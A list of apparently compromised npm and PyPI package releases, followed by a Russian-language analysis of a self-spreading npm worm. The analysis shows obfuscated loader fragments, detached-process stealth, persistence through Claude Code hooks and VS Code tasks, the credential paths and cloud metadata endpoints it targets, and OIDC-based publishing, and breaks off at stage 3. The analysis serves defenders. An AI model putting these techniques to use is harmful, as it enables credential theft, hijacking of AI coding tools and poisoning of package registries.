2026-05-11T21:06:36.730Z

npm

@uipath

insights-sdk

1.0.1

2026-05-11T21:00:20.884Z

2026-05-11T21:06:35.096Z

npm

@uipath

admin-tool

0.1.1

2026-05-11T21:00:20.671Z

2026-05-11T21:06:34.043Z

npm

@uipath

packager-tool-webapp

1.0.6

2026-05-11T21:00:20.317Z

2026-05-11T21:06:33.792Z

npm

@uipath

solutionpackager-tool-core

0.0.34

2026-05-11T21:00:20.891Z

2026-05-11T21:06:33.744Z

npm

@uipath

vss

0.1.6

2026-05-11T21:00:22.054Z

2026-05-11T21:06:33.647Z

npm

@uipath

orchestrator-tool

1.0.1

2026-05-11T21:00:21.107Z

2026-05-11T21:06:33.211Z

npm

@uipath

solution-packager

0.0.35

2026-05-11T21:00:20.828Z

2026-05-11T21:06:32.760Z

npm

@uipath

uipath-python-bridge

1.0.1

2026-05-11T21:00:19.848Z

2026-05-11T21:06:32.130Z

npm

@uipath

codedapp-tool

1.0.1

2026-05-11T21:00:20.535Z

2026-05-11T21:06:31.764Z

npm

@uipath

project-packager

1.1.16

2026-05-11T21:00:21.184Z

2026-05-11T21:06:31.477Z

npm

@uipath

integrationservice-tool

1.0.2

2026-05-11T21:00:21.742Z

2026-05-11T21:06:30.535Z

npm

@uipath

packager-tool-functions

0.1.1

2026-05-11T21:00:20.182Z

2026-05-11T21:06:29.906Z

npm

@uipath

tasks-tool

1.0.1

2026-05-11T21:00:21.041Z

2026-05-11T21:06:29.873Z

npm

@uipath

solution-tool

1.0.1

2026-05-11T21:00:21.624Z

2026-05-11T21:06:28.844Z

npm

@uipath

packager-tool-connector

0.0.19

2026-05-11T21:00:21.065Z

2026-05-11T21:06:28.523Z

npm

@uipath

maestro-sdk

1.0.1

2026-05-11T21:00:21.587Z

2026-05-11T21:06:28.484Z

npm

@uipath

test-manager-tool

1.0.2

2026-05-11T21:00:20.952Z

2026-05-11T21:06:28.481Z

npm

@uipath

agent-tool

1.0.1

2026-05-11T21:00:21.606Z

2026-05-11T21:06:28.479Z

npm

@uipath

functions-tool

1.0.1

2026-05-11T21:00:21.059Z

2026-05-11T21:06:28.278Z

npm

@uipath

identity-tool

0.1.1

2026-05-11T21:00:20.507Z

2026-05-11T21:06:28.175Z

npm

@uipath

access-policy-tool

0.3.1

2026-05-11T21:00:20.456Z

2026-05-11T21:06:27.672Z

npm

@uipath

resources-tool

0.1.11

2026-05-11T21:00:20.737Z

2026-05-11T21:06:27.458Z

npm

@uipath

rpa-tool

0.9.5

2026-05-11T21:00:21.305Z

2026-05-11T21:06:26.745Z

npm

@uipath

rpa-legacy-tool

1.0.1

2026-05-11T21:00:20.854Z

2026-05-11T21:06:26.360Z

npm

@uipath

access-policy-sdk

0.3.1

2026-05-11T21:00:21.498Z

2026-05-11T21:06:25.997Z

npm

@uipath

platform-tool

1.0.1

2026-05-11T21:00:20.682Z

2026-05-11T21:06:24.286Z

npm

@beproduct

nestjs-auth

0.1.16

2026-05-11T20:34:12.922Z

2026-05-11T20:38:47.982Z

npm

@beproduct

nestjs-auth

0.1.15

2026-05-11T20:33:47.240Z

2026-05-11T20:38:47.978Z

npm

@dirigible-ai

sdk

0.6.3

2026-05-11T20:18:06.457Z

2026-05-11T20:26:52.979Z

npm

@dirigible-ai

sdk

0.6.2

2026-05-11T20:17:38.766Z

2026-05-11T20:26:42.458Z

npm

@beproduct

nestjs-auth

0.1.13

2026-05-11T20:24:24.647Z

2026-05-11T20:25:52.691Z

npm

@beproduct

nestjs-auth

0.1.14

2026-05-11T20:24:36.451Z

2026-05-11T20:25:52.459Z

npm

@beproduct

nestjs-auth

0.1.8

2026-05-11T20:20:48.119Z

2026-05-11T20:25:44.452Z

npm

@beproduct

nestjs-auth

0.1.6

2026-05-11T20:20:28.051Z

2026-05-11T20:25:29.099Z

npm

@beproduct

nestjs-auth

0.1.9

2026-05-11T20:20:58.341Z

2026-05-11T20:25:28.657Z

npm

@beproduct

nestjs-auth

0.1.2

2026-05-11T20:19:43.209Z

2026-05-11T20:25:28.613Z

npm

@beproduct

nestjs-auth

0.1.5

2026-05-11T20:20:18.281Z

2026-05-11T20:25:26.837Z

npm

@beproduct

nestjs-auth

0.1.11

2026-05-11T20:23:43.304Z

2026-05-11T20:25:26.195Z

npm

@beproduct

nestjs-auth

0.1.4

2026-05-11T20:20:08.742Z

2026-05-11T20:25:25.801Z

npm

@beproduct

nestjs-auth

0.1.3

2026-05-11T20:20:02.135Z

2026-05-11T20:25:16.806Z

npm

@beproduct

nestjs-auth

0.1.7

2026-05-11T20:20:39.661Z

2026-05-11T20:25:14.678Z

npm

@beproduct

nestjs-auth

0.1.10

2026-05-11T20:21:12.886Z

2026-05-11T20:25:14.606Z

npm

@beproduct

nestjs-auth

0.1.12

2026-05-11T20:23:57.029Z

2026-05-11T20:25:14.470Z

npm

@ml-toolkit-ts

preprocessing

1.0.2

2026-05-11T20:17:39.454Z

2026-05-11T20:24:04.167Z

npm

@ml-toolkit-ts

preprocessing

1.0.3

2026-05-11T20:18:05.715Z

2026-05-11T20:23:52.742Z

npm

@ml-toolkit-ts

xgboost

1.0.3

2026-05-11T20:17:39.013Z

2026-05-11T20:23:31.864Z

npm

ml-toolkit-ts

1.0.5

2026-05-11T20:18:05.176Z

2026-05-11T20:23:30.418Z

npm

@ml-toolkit-ts

xgboost

1.0.4

2026-05-11T20:18:05.569Z

2026-05-11T20:23:20.251Z

npm

ml-toolkit-ts

1.0.4

2026-05-11T20:17:38.111Z

2026-05-11T20:23:18.442Z

npm

agentwork-cli

0.1.4

2026-05-11T20:17:38.787Z

2026-05-11T20:23:06.860Z

npm

agentwork-cli

0.1.5

2026-05-11T20:18:05.230Z

2026-05-11T20:23:05.204Z

npm

@taskflow-corp

cli

0.1.27

2026-05-11T20:15:42.215Z

2026-05-11T20:21:13.062Z

npm

cmux-agent-mcp

0.1.6

2026-05-11T20:15:47.928Z

2026-05-11T20:20:50.726Z

npm

@supersurkhet

cli

0.0.5

2026-05-11T20:15:45.429Z

2026-05-11T20:20:44.519Z

npm

@supersurkhet

sdk

0.0.5

2026-05-11T20:15:44.968Z

2026-05-11T20:20:41.819Z

npm

@taskflow-corp

cli

0.1.26

2026-05-11T20:09:04.421Z

2026-05-11T20:15:44.042Z

npm

@supersurkhet

cli

0.0.4

2026-05-11T20:09:06.848Z

2026-05-11T20:15:01.286Z

npm

cmux-agent-mcp

0.1.5

2026-05-11T20:09:07.771Z

2026-05-11T20:14:59.565Z

npm

@supersurkhet

sdk

0.0.4

2026-05-11T20:09:07.063Z

2026-05-11T20:14:53.765Z

npm

@draftlab

auth

0.24.2

2026-05-11T20:01:57.667Z

2026-05-11T20:07:31.986Z

npm

@draftlab

auth

0.24.1

2026-05-11T19:58:57.147Z

2026-05-11T20:06:52.983Z

npm

@draftauth

core

0.13.1

2026-05-11T19:58:56.137Z

2026-05-11T20:06:30.979Z

npm

@draftauth

core

0.13.2

2026-05-11T20:01:58.657Z

2026-05-11T20:06:30.487Z

npm

@draftauth

client

0.2.2

2026-05-11T20:01:57.690Z

2026-05-11T20:05:29.145Z

npm

@draftauth

client

0.2.1

2026-05-11T19:58:56.389Z

2026-05-11T20:05:28.787Z

npm

@draftlab

db

0.16.2

2026-05-11T20:01:57.323Z

2026-05-11T20:04:43.759Z

npm

safe-action

0.8.4

2026-05-11T20:01:57.740Z

2026-05-11T20:04:38.667Z

npm

@draftlab

auth-router

0.5.1

2026-05-11T19:58:55.947Z

2026-05-11T20:04:36.779Z

npm

@draftlab

auth-router

0.5.2

2026-05-11T20:01:57.399Z

2026-05-11T20:04:36.241Z

npm

@draftlab

db

0.16.1

2026-05-11T19:58:56.118Z

2026-05-11T20:04:28.111Z

npm

safe-action

0.8.3

2026-05-11T19:58:55.977Z

2026-05-11T20:04:23.911Z

npm

@taskflow-corp

cli

0.1.25

2026-05-11T19:51:15.698Z

2026-05-11T19:57:23.481Z

npm

cmux-agent-mcp

0.1.4

2026-05-11T19:51:13.275Z

2026-05-11T19:56:58.945Z

npm

@supersurkhet

cli

0.0.3

2026-05-11T19:51:13.164Z

2026-05-11T19:56:55.598Z

npm

@supersurkhet

sdk

0.0.3

2026-05-11T19:51:12.905Z

2026-05-11T19:56:55.529Z

npm

@taskflow-corp

cli

0.1.24

2026-05-11T19:32:15.187Z

2026-05-11T19:40:18.247Z

npm

@supersurkhet

cli

0.0.2

2026-05-11T19:32:12.282Z

2026-05-11T19:38:55.921Z

npm

cmux-agent-mcp

0.1.3

2026-05-11T19:32:15.626Z

2026-05-11T19:38:31.046Z

npm

@supersurkhet

sdk

0.0.2

2026-05-11T19:32:15.101Z

2026-05-11T19:38:17.552Z

npm

git-git-git

1.0.8

2026-05-11T19:29:44.727Z

2026-05-11T19:37:14.992Z

npm

@tolka

cli

1.0.2

2026-05-11T19:29:44.584Z

2026-05-11T19:36:58.993Z

npm

git-branch-selector

1.3.3

2026-05-11T19:29:45.156Z

2026-05-11T19:36:25.181Z

npm

nextmove-mcp

0.1.3

2026-05-11T19:29:44.275Z

2026-05-11T19:36:16.965Z

npm

@tanstack

react-router

1.169.8

2026-05-11T19:26:17.716Z

2026-05-11T19:33:36.604Z

npm

@tanstack

solid-router

1.169.8

2026-05-11T19:26:18.819Z

2026-05-11T19:32:40.089Z

npm

@tanstack

router-core

1.169.8

2026-05-11T19:26:18.605Z

2026-05-11T19:32:32.508Z

npm

@tanstack

start-plugin-core

1.169.26

2026-05-11T19:26:18.127Z

2026-05-11T19:32:21.727Z

npm

@tanstack

vue-router

1.169.8

2026-05-11T19:26:17.508Z

2026-05-11T19:32:18.090Z

npm

@tanstack

router-plugin

1.167.41

2026-05-11T19:26:17.391Z

2026-05-11T19:32:06.081Z

npm

@tanstack

vue-start-client

1.166.49

2026-05-11T19:26:14.652Z

2026-05-11T19:32:00.870Z

npm

@tanstack

react-start-rsc

0.0.50

2026-05-11T19:26:16.472Z

2026-05-11T19:31:54.752Z

npm

@tanstack

start-client-core

1.168.8

2026-05-11T19:26:16.897Z

2026-05-11T19:31:49.907Z

npm

@tanstack

eslint-plugin-start

0.0.7

2026-05-11T19:26:16.921Z

2026-05-11T19:31:49.220Z

npm

@tanstack

react-start

1.167.71

2026-05-11T19:26:16.558Z

2026-05-11T19:31:48.751Z

npm

@tanstack

router-generator

1.166.48

2026-05-11T19:26:16.915Z

2026-05-11T19:31:48.446Z

npm

@tanstack

eslint-plugin-router

1.161.12

2026-05-11T19:26:16.653Z

2026-05-11T19:31:48.213Z

npm

@tanstack

router-devtools-core

1.167.9

2026-05-11T19:26:16.009Z

2026-05-11T19:31:47.788Z

npm

@tanstack

vue-start

1.167.64

2026-05-11T19:26:15.653Z

2026-05-11T19:31:46.560Z

npm

@tanstack

start-server-core

1.167.36

2026-05-11T19:26:16.223Z

2026-05-11T19:31:45.132Z

npm

@tanstack

solid-start-server

1.166.57

2026-05-11T19:26:15.107Z

2026-05-11T19:31:43.268Z

npm

@tanstack

start-storage-context

1.166.41

2026-05-11T19:26:14.410Z

2026-05-11T19:31:42.029Z

npm

@tanstack

solid-start-client

1.166.53

2026-05-11T19:26:15.031Z

2026-05-11T19:31:41.413Z

npm

@tanstack

solid-start

1.167.68

2026-05-11T19:26:16.045Z

2026-05-11T19:31:40.976Z

npm

@tanstack

router-ssr-query-core

1.168.6

2026-05-11T19:26:15.821Z

2026-05-11T19:31:40.900Z

npm

@tanstack

virtual-file-routes

1.161.13

2026-05-11T19:26:15.112Z

2026-05-11T19:31:40.861Z

npm

@tanstack

react-router-ssr-query

1.166.18

2026-05-11T19:26:14.673Z

2026-05-11T19:31:40.434Z

npm

@tanstack

nitro-v2-vite-plugin

1.154.15

2026-05-11T19:26:15.172Z

2026-05-11T19:31:39.994Z

npm

@tanstack

vue-start-server

1.166.53

2026-05-11T19:26:15.007Z

2026-05-11T19:31:39.739Z

npm

@tanstack

solid-router-ssr-query

1.166.18

2026-05-11T19:26:14.370Z

2026-05-11T19:31:38.527Z

npm

@tanstack

react-start-server

1.166.58

2026-05-11T19:26:14.861Z

2026-05-11T19:31:38.431Z

npm

@tanstack

react-start-client

1.166.54

2026-05-11T19:26:15.316Z

2026-05-11T19:31:37.986Z

npm

@tanstack

start-fn-stubs

1.161.12

2026-05-11T19:26:14.651Z

2026-05-11T19:31:37.331Z

npm

@tanstack

router-utils

1.161.14

2026-05-11T19:26:15.300Z

2026-05-11T19:31:36.947Z

npm

@tanstack

react-router-devtools

1.166.19

2026-05-11T19:26:15.124Z

2026-05-11T19:31:36.664Z

npm

@tanstack

solid-router-devtools

1.166.19

2026-05-11T19:26:15.210Z

2026-05-11T19:31:36.578Z

npm

@tanstack

history

1.161.12

2026-05-11T19:26:14.690Z

2026-05-11T19:31:36.237Z

npm

@tanstack

router-cli

1.166.49

2026-05-11T19:26:15.629Z

2026-05-11T19:31:35.789Z

npm

@tanstack

arktype-adapter

1.166.15

2026-05-11T19:26:14.829Z

2026-05-11T19:31:34.905Z

npm

@tanstack

vue-router-devtools

1.166.19

2026-05-11T19:26:14.901Z

2026-05-11T19:31:34.845Z

npm

@tanstack

zod-adapter

1.166.15

2026-05-11T19:26:14.344Z

2026-05-11T19:31:34.392Z

npm

@tanstack

vue-router-ssr-query

1.166.18

2026-05-11T19:26:14.572Z

2026-05-11T19:31:34.330Z

npm

@tanstack

start-static-server-functions

1.166.47

2026-05-11T19:26:14.715Z

2026-05-11T19:31:34.140Z

npm

@tanstack

router-vite-plugin

1.166.56

2026-05-11T19:26:14.385Z

2026-05-11T19:31:33.908Z

npm

@tanstack

valibot-adapter

1.166.15

2026-05-11T19:26:15.163Z

2026-05-11T19:31:33.115Z

npm

@tanstack

router-devtools

1.166.19

2026-05-11T19:26:14.544Z

2026-05-11T19:31:32.301Z

npm

@tanstack

solid-router

1.169.5

2026-05-11T19:20:43.431Z

2026-05-11T19:26:57.102Z

npm

@tanstack

start-plugin-core

1.169.23

2026-05-11T19:20:43.979Z

2026-05-11T19:26:45.153Z

npm

@tanstack

router-core

1.169.5

2026-05-11T19:20:42.410Z

2026-05-11T19:26:43.816Z

npm

@tanstack

vue-router

1.169.5

2026-05-11T19:20:42.334Z

2026-05-11T19:26:42.187Z

npm

@tanstack

react-router

1.169.5

2026-05-11T19:20:42.105Z

2026-05-11T19:26:38.101Z

npm

@tanstack

router-plugin

1.167.38

2026-05-11T19:20:41.445Z

2026-05-11T19:26:13.252Z

npm

@tanstack

eslint-plugin-start

0.0.4

2026-05-11T19:20:41.346Z

2026-05-11T19:25:58.220Z

npm

@tanstack

eslint-plugin-router

1.161.9

2026-05-11T19:20:40.628Z

2026-05-11T19:25:57.425Z

npm

@tanstack

react-start-rsc

0.0.47

2026-05-11T19:20:41.274Z

2026-05-11T19:25:57.271Z

npm

@tanstack

react-start

1.167.68

2026-05-11T19:20:42.111Z

2026-05-11T19:25:55.101Z

npm

@tanstack

router-generator

1.166.45

2026-05-11T19:20:41.419Z

2026-05-11T19:25:54.399Z

npm

@tanstack

start-client-core

1.168.5

2026-05-11T19:20:41.973Z

2026-05-11T19:25:52.142Z

npm

@tanstack

router-devtools-core

1.167.6

2026-05-11T19:20:40.288Z

2026-05-11T19:25:48.724Z

npm

@tanstack

router-utils

1.161.11

2026-05-11T19:20:39.660Z

2026-05-11T19:25:47.530Z

npm

@tanstack

vue-router-ssr-query

1.166.15

2026-05-11T19:20:39.834Z

2026-05-11T19:25:45.323Z

npm

@tanstack

arktype-adapter

1.166.12

2026-05-11T19:20:39.821Z

2026-05-11T19:25:43.955Z

npm

@tanstack

start-server-core

1.167.33

2026-05-11T19:20:40.294Z

2026-05-11T19:25:43.895Z

npm

@tanstack

solid-start

1.167.65

2026-05-11T19:20:41.154Z

2026-05-11T19:25:41.614Z

npm

@tanstack

react-router-devtools

1.166.16

2026-05-11T19:20:39.936Z

2026-05-11T19:25:41.008Z

npm

@tanstack

solid-router-devtools

1.166.16

2026-05-11T19:20:39.853Z

2026-05-11T19:25:40.578Z

npm

@tanstack

router-cli

1.166.46

2026-05-11T19:20:40.567Z

2026-05-11T19:25:39.984Z

npm

@tanstack

solid-start-server

1.166.54

2026-05-11T19:20:39.720Z

2026-05-11T19:25:39.556Z

npm

@tanstack

vue-router-devtools

1.166.16

2026-05-11T19:20:39.616Z

2026-05-11T19:25:38.780Z

npm

@tanstack

virtual-file-routes

1.161.10

2026-05-11T19:20:40.502Z

2026-05-11T19:25:38.506Z

npm

@tanstack

router-ssr-query-core

1.168.3

2026-05-11T19:20:40.830Z

2026-05-11T19:25:38.338Z

npm

@tanstack

router-vite-plugin

1.166.53

2026-05-11T19:20:39.613Z

2026-05-11T19:25:37.396Z

npm

@tanstack

nitro-v2-vite-plugin

1.154.12

2026-05-11T19:20:39.524Z

2026-05-11T19:25:37.077Z

npm

@tanstack

start-fn-stubs

1.161.9

2026-05-11T19:20:39.939Z

2026-05-11T19:25:36.487Z

npm

@tanstack

history

1.161.9

2026-05-11T19:20:39.565Z

2026-05-11T19:25:36.170Z

npm

@tanstack

react-router-ssr-query

1.166.15

2026-05-11T19:20:39.110Z

2026-05-11T19:25:36.061Z

npm

@tanstack

zod-adapter

1.166.12

2026-05-11T19:20:39.476Z

2026-05-11T19:25:35.944Z

npm

@tanstack

valibot-adapter

1.166.12

2026-05-11T19:20:39.430Z

2026-05-11T19:25:35.919Z

npm

@tanstack

solid-router-ssr-query

1.166.15

2026-05-11T19:20:39.688Z

2026-05-11T19:25:35.385Z

npm

@tanstack

react-start-client

1.166.51

2026-05-11T19:20:39.703Z

2026-05-11T19:25:34.743Z

npm

@tanstack

router-devtools

1.166.16

2026-05-11T19:20:39.782Z

2026-05-11T19:25:34.458Z

npm

@tanstack

react-start-server

1.166.55

2026-05-11T19:20:40.014Z

2026-05-11T19:25:34.084Z

npm

@tanstack

solid-start-client

1.166.50

2026-05-11T19:20:39.763Z

2026-05-11T19:25:33.602Z

npm

@tanstack

vue-start

1.167.61

2026-05-11T19:20:40.136Z

2026-05-11T19:25:33.541Z

npm

@tanstack

start-storage-context

1.166.38

2026-05-11T19:20:39.894Z

2026-05-11T19:25:32.271Z

npm

@tanstack

start-static-server-functions

1.166.44

2026-05-11T19:20:40.002Z

2026-05-11T19:25:32.260Z

npm

@tanstack

vue-start-client

1.166.46

2026-05-11T19:20:39.697Z

2026-05-11T19:23:26.595Z

npm

@tanstack

vue-start-server

1.166.50

2026-05-11T19:20:40.336Z

2026-05-11T19:23:25.071Z

composer

intercom

intercom-php

5.0.2

2026-04-30T21:07:05.227Z

npm

intercom-client

7.0.4

2026-04-30T14:41:04.098Z

2026-04-30T15:09:57.503Z

pypi

lightning

2.6.3

2026-04-30T12:52:46.204Z

2026-04-30T13:10:58.399Z

pypi

lightning

2.6.2

2026-04-30T12:45:20.881Z

2026-04-30T13:03:17.243Z

npm

@cap-js

db-service

2.10.1

2026-04-29T12:14:00.709Z

2026-04-29T12:20:37.765Z

npm

@cap-js

postgres

2.2.2

2026-04-29T12:14:00.759Z

2026-04-29T12:20:37.159Z

npm

@cap-js

sqlite

2.2.2

2026-04-29T11:25:47.756Z

2026-04-29T11:33:06.849Z

npm

mbt

1.2.48

2026-04-29T09:55:25.654Z

2026-04-29T10:03:09.406Z

Анализ взлома

Разберём, как действует вредоносный пакет: его обфускацию и логику работы в CI-среде. 

Файл начинается с типичного для obfuscator.io / JavaScript Obfuscator алгоритма ротации массива строк. Это самовызывающаяся функция, которая формирует большой внутренний массив строк, а затем многократно ротирует его до тех пор, пока не найдет совпадающую числовую контрольную сумму. Все строковые литералы в полезной нагрузке заменяются вызовами этого массива через функцию-диспетчер.

// Первые 500 bytes — string-array rotation bootstrap
const _0x5b1880=_0x253b;
(function(_0x4116b8,_0x2320bb){
  const _0x5f1a07=_0x253b, _0x5cdc04=_0x4116b8();
  while(!![]){
    try{
      const _0x22fd2a =
        parseInt(_0x5f1a07(0xf54))/0x1
        + parseInt(_0x5f1a07(0x806))/0x2 * (parseInt(_0x5f1a07(0x13c4))/0x3)
        + parseInt(_0x5f1a07(0xb77))/0x4 * (parseInt(_0x5f1a07(0x1f0f))/0x5)
        ...

Основной диспетчер 0x5b1880 вызывается 2 864 раза только в одной строке исходного кода. Помимо уровня 0x, злоумышленник реализовал второй уровень декодирования с помощью пользовательской функции beautify(). Эта функция принимает строки зашифрованного текста в кодировке base64 и декодирует их во время выполнения — вероятно, с помощью XOR или AES. Затем результат используется в качестве аргумента для process.env[]. Такое двойное кодирование специально разработано для предотвращения простого извлечения имен переменных окружения с помощью grep:

// 148 beautify()-encoded process.env accesses, e.g.:
process.env[beautify('rX54ou2uVvizjlyyIxhohB/m')]
process.env[beautify('ZMIw5arFv0MJjr8UDH9n9RFjuHI5PQk=')]
process.env[beautify('th5/odSUZxX2AzAEMHt56vHtaBJ1CGwHPhvy7CD3JeZG//RWUsMqMmU=')]
process.env[beautify('kQQPsysgrZ5xrgrKwUM9tHhoYd5XTPQYyuHTVSFPGNnbfw==')]
// ...and 144 более

Имена переменных в открытом виде для этих beautify()-блоков неизвестны без динамического выполнения или извлечения ключей. Подтверждённые обращения к process.env в открытом виде (не в закодированном) перечислены ниже в этапе 2 и этапе 3. Закодированный набор, вероятно, включает оставшуюся часть набора GITHUB_*, полные имена AWS-учётных данных и пути Vault, упомянутые ниже. 

Демонизация и закрепление

Имплант начинает выполнение с проверки наличия process.env.__DAEMONIZED. Если эта переменная не установлена, текущий процесс немедленно создаёт отделённую (detached) копию самого себя с stdioи устанавливает её в ['ignore','ignore','ignore'], отрывая дочерний процесс от стандартных потоков родительского процесса. После этого родительский процесс корректно завершается.

Это гарантирует, что вредоносная нагрузка не будет видна в выводе npm install или при выполнении скриптов, а дочерний процесс будет полностью отвязан от терминальной сессии, из которой происходила установка.

// Защита от повторного форка демона — срабатывает только при первом запуске
if (process.env.__DAEMONIZED) return !0x1;  // уже переведён в режим демона, пропустить
  
// Запустить отсоединённый процесс со всеми подавленными потоками stdio
spawn(..., {
  detached: true,
  stdio: ['ignore', 'ignore', 'ignore']
}).unref();

Вызов unref() гарантирует, что Node.js не будет ждать завершения дочернего процесса перед выходом, из-за чего завершение родительского процесса выглядит полностью штатным. После запуска в отделённом режиме имплант записывает свои копии в два каталога, связанных с инструментами разработчика, чтобы сохраняться после перезагрузок и последующих запусков этих инструментов: 


# Claude Code hooks persistence
.claude/router_runtime.js     ← self-copy of implant body
.claude/settings.json         ← Claude hooks config (runs implant on tool events)
.claude/setup.mjs             ← ESM loader shim

# VS Code task runner persistence
.vscode/setup.mjs             ← ESM loader shim
.vscode/tasks.json            ← VS Code task definition, runs setup.mjs on folder open

Запись в .claude/settings.json особенно коварна. Claude Code поддерживает конфигурацию hooks, которая выполняет shell-команды в ответ на события инструментов (редактирование файлов, запуск bash и т. п.). Записывая себя в эту конфигурацию, имплант гарантирует своё повторное выполнение каждый раз, когда разработчик использует Claude Code в затронутой директории проекта, даже если исходный npm-пакет уже удалён.

Путь через .vscode/tasks.json предоставляет независимый вектор выполнения за счёт функции автозапуска задач рабочего пространства в VS Code. Вместе эти два механизма закрепления означают, что простого npm uninstall недостаточно для устранения последствий заражения.

Определение среды выполнения

Прежде чем приступать к сбору учётных данных, имплант профилирует среду выполнения по трём измерениям: CI-платформа, операционная система и JavaScript-рантайм. Такая логика позволяет избежать шумных запросов к секретам в средах, где они либо не сработают, либо могут вызвать подозрения.

// Определение CI-платформы (в открытом виде)
process.env.GITHUB_REPOSITORY   // основной признак CI
process.env.RUNNER_OS           // подтверждает раннер GitHub Actions

// Таргетинг по ОС — охвачены три платформы
process.platform === 'linux'
process.platform === 'darwin'
process.platform === 'win32'

Имплант содержит большие платформозависимые массивы, скрытые за вызовами beautify() — в частности, видно eS['LINUX'], которое разворачивается в десятки декодированных строк с путями. Это указывает на наличие условных путей сбора учётных данных в зависимости от платформы, например разных расположений shell-профилей в Linux и macOS.

Запрос к npms.io, замеченный среди сетевых индикаторов, также указывает на то, что имплант на ранней стадии выполнения обращается к сети по адресу https://npms.io/search?q=ponyfill — вероятно, чтобы разрешить зависимость или проверить доступность сети перед началом эксфильтрации.

Далее рассмотрим три основных этапа работы вредоносного скрипта: сначала он собирает учётные данные из CI/CD-окружения, затем использует их для распространения npm-червя, а на финальном этапе пытается отравлять репозитории через GitHub GraphQL API, коммитя вредоносные файлы напрямую в ветки мейнтейнеров.

Этап 1 — Сбор учётных данных

Это наиболее масштабная стадия работы импланта. На этом этапе он систематически обходит все основные плоскости хранения секретов, доступные в современных cloud-native CI-средах, используя как прямое чтение переменных окружения, так и активные API-запросы.

GitHub Actions

Сбор учётных данных в Actions нацелен на пространство переменных окружения раннера и дополнительно обращается к GitHub API, чтобы перечислить секреты на уровне репозитория:

# Подтверждённые чтения переменных окружения в открытом виде
GITHUB_REPOSITORY
GITHUB_REPOSITORY_ID
GITHUB_SERVER_URL
GITHUB_WORKFLOW_REF
GITHUB_EVENT_NAME
ACTIONS_ID_TOKEN_REQUEST_TOKEN
ACTIONS_ID_TOKEN_REQUEST_URL   ← используется для получения OIDC-токена (Stage 4)

# Вызов GitHub REST API — постраничное перечисление секретов
GET https://api.github.com/repos/<GITHUB_REPOSITORY>/actions/secrets?per_page=100

Параметр per_page=100 — это максимальное значение, разрешённое GitHub API, то есть одним запросом можно получить полный список секретов для любого репозитория, к которому раннер имеет административный доступ.

AWS

Сбор данных из AWS работает сразу по четырём различным источникам учётных данных, охватывая практически все основные модели развёртывания AWS:

# Чтение переменных окружения (в открытом виде)
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_REGION
AWS_ROLE_ARN
AWS_WEB_IDENTITY_TOKEN_FILE    ← IRSA / workload identity на базе OIDC

# EC2/ECS Instance Metadata Service
http://169.254.169.254/latest/api/token    ← IMDSv2 PUT-запрос для получения session token
                                              (заголовок: X-aws-ec2-metadata-token-ttl-seconds)
http://169.254.170.2                        ← ECS Task Metadata Endpoint v2

# AWS service APIs (идентификаторы видны в файле в открытом виде)
secretsmanager    ← AWS Secrets Manager
ssm               ← Systems Manager Parameter Store

Поток работы с IMDSv2 реализован корректно: имплант сначала получает сессионный токен через PUT /latest/api/token с заголовком X-aws-ec2-metadata-token-ttl-seconds, а затем использует возвращённый токен в заголовках X-aws-ec2-metadata-token при последующих запросах к metadata-сервису.

Это не наивная попытка работы через IMDSv1; такой подход будет работать даже на защищённых инстансах, где IMDSv1 отключён.

Название функции executeForRegion, видимое в открытом виде, указывает на то, что запросы к Secrets Manager и SSM Parameter Store, вероятно, выполняются последовательно по нескольким регионам, а не только по текущему региону раннера. Это максимизирует охват возможных секретов в аккаунтах с multi-region-развёртыванием.

HashiCorp Vault

# Чтение переменных окружения Vault
VAULT_TOKEN
VAULT_AUTH_TOKEN
VAULT_ADDR

# Внутренний сервисный endpoint кластера Vault
vault.svc.cluster.local:8200   ← внутренний Kubernetes API-адрес Vault

# Путь к токену Vault (присутствует частичный URL-фрагмент)
vault/token

Endpoint svc.cluster.local:8200 — это стандартное DNS-имя Kubernetes для pod’а Vault, развернутого внутри кластера. Это означает, что имплант явно нацелен на Vault, работающий внутри Kubernetes, а не только на standalone-развёртывания. В сочетании с описанным ниже сбором данных из Kubernetes service account это даёт полную цепочку получения учётных данных: украсть токен service account Kubernetes → использовать его для аутентификации в Vault → получить все секреты, хранящиеся в Vault.

Kubernetes

# Пути к учётным данным в файловой системе
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
namespace  #  ← читает файл namespace service account

# Вероятно, также читает (путь присутствует в той же директории, но закодирован через beautify):
# /var/run/secrets/kubernetes.io/serviceaccount/token

Сертификат центра сертификации service account (ca.crt) используется для проверки TLS-соединений с Kubernetes API server, а файл token (закодирован, а не указан в открытом виде) содержит JWT bearer token, применяемый для аутентификации. Вместе они дают полный внутрикластерный доступ к API в пределах RBAC-привилегий, назначенных service account данного pod’а — а во многих ошибочно настроенных кластерах это означает доступ уровня cluster-admin.

Этап 2 — Распространение npm-червя

Способность импланта к самораспространению — его наиболее опасное свойство с точки зрения экосистемы. Он использует механизм федерации OIDC в GitHub Actions, изначально предназначенный для публикации без пароля, чтобы выпустить действительный токен публикации npm от имени скомпрометированной CI-идентичности.

# Получение OIDC-токена (раннер GitHub Actions)
ACTIONS_ID_TOKEN_REQUEST_TOKEN   ← предоставляемый GitHub токен авторизации для OIDC-запроса
ACTIONS_ID_TOKEN_REQUEST_URL     ← endpoint, к которому обращаются для получения JWT OIDC-токена

# Проверка npm-токена
https://registry.npmjs.org/-/npm/v1/tokens   ← подтверждение валидности токена / whoami

# Публикация
publishPackage()    ← упаковывает и публикует имплант
tarball / .tgz      ← формат архива пакета
tar.zst             ← вариант со сжатием zstd
dist-tags           ← внедряет имплант под существующими dist-tag’ами (например, `latest`)
oidcToken           ← выпущенный JWT OIDC, используемый как npm-аутентификация

Процесс распространения импланта выглядит так:

1. Он запрашивает JWT OIDC у endpoint’а токенов Actions.

2. Обменивает токен Actions на npm-токен публикации через механизм доверительной OIDC-федерации npm.

3.пределяет пакеты, принадлежащие сопровождающему (через поиск в npms.io)

4. Упаковывает копию router_init.js в архив .tgz или tar.zst.

5. Публикует  пакет под dist-tag’ом latest.

Если разработчик после этого выполнит npm install для целевого пакета, то он скачает червя.

Наличие строки sigstore в файле указывает на то, что после публикации имплант также отправляет аттестацию происхождения Sigstore в transparency log. Это особенно обманчиво: бейджи provenance в npm специально предназначены для повышения доверия, и пакет, опубликованный имплантом, но имеющий значок «verified provenance», легко пройдёт поверхностную проверку безопасности. Запись provenance будет указывать на контролируемый атакующим запуск GitHub Actions, выполнивший публикацию, однако сама запись в журнале создаёт видимость легитимности пакета.

Этап 3 — Отравление репозиториев через GitHub GraphQL

